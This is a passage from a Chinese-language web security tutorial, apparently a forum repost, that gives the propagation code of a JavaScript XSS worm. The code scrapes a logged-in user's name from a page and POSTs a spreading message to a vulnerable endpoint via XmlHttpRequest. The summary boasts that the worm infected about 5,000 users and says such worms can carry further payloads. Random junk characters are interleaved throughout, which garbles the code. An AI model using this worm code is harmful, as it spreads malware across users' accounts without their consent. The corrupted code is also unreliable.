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复制代码如果虫的数量已经足够,那么我们就执行蠕虫:else{" e5 F6 }/ V1 _5 a- Q% q
( n, P! y: k: c6 Hvar no=resource.search(/my name is/); //这里是访问一个授权页面里,取得用户的名称.备份,并将来用在需要填写名称的地方
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. P3 ]2 |. A" B: v# wvar namee=resource.substr(no+21,5); //这里是重组用户名,条件是随便写的.具体情况当然要不同获得.
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; H7 y% m7 \; P1 C) K5 K" \/ `6 s3 j- Wvar wd="Support!"+namee+"<br>"; //这里就发出去了一个你指定的MESSAGE.当然,你可以把数据存入一组数组,random读取.
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var post="wd="+wd;/ _( o7 s& e- M$ d4 A
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xmlHttpReq.open(" OST","http://vul.com/vul.jsp",false);
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8 T/ `4 r$ c0 x6 `; j; g& ?xmlHttpReq.setRequestHeader("Accept","image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-powerpoint, application/vnd.ms-excel, application/msword, */*");% V' ^( j) k h4 `) G5 E* A5 P
4 @) t& D; m$ r* e I4 i! G0 zxmlHttpReq.setRequestHeader("content-length",post.length);
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P* [2 O9 X4 _: bxmlHttpReq.setRequestHeader("content-type","application/x-www-form-urlencoded");
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xmlHttpReq.send(post); //把传播的信息 POST出去.0 T) w6 O% a4 X- T6 ~6 k
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}
3 ?8 K6 }: |9 p- f' T4 O) ?- w复制代码-----------------------------------------------------总结-------------------------------------------------------------------+ L: o4 J2 y; F3 j
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1 a% ?# S% }5 Y+ O本次教程案例中的蠕虫曾经测试成功并且感染了约5000名用户.1 g! `0 N5 ~- |* X0 z! ]
蠕虫仅仅是一个载体,在这个载体上,我们可以实现各种各样的功能.
* p# y$ }4 V A3 H( ^操作JS调用COM,你的想象力有多大,蠕虫能力就有多大.这也是为什么国外黑客往往喜欢写蠕虫的原因.
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本文引用文档资料:
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7 E; l0 m7 y, B$ @1 Z1 R"HTTP Request Smuggling" (Chaim Linhart, Amit Klein, Ronen Heled and Steve Orrin, June 2005)
; M2 ^+ Q3 s% P- |Other XmlHttpRequest tricks (Amit Klein, January 2003)
% t n8 b0 D# `"Cross Site Tracing" (Jeremiah Grossman, January 2003)
! m: C5 ^& p, ?# Y4 t# D9 W2 Shttp://armorize-cht.blogspot.com 阿碼科技非官方中文 Blog
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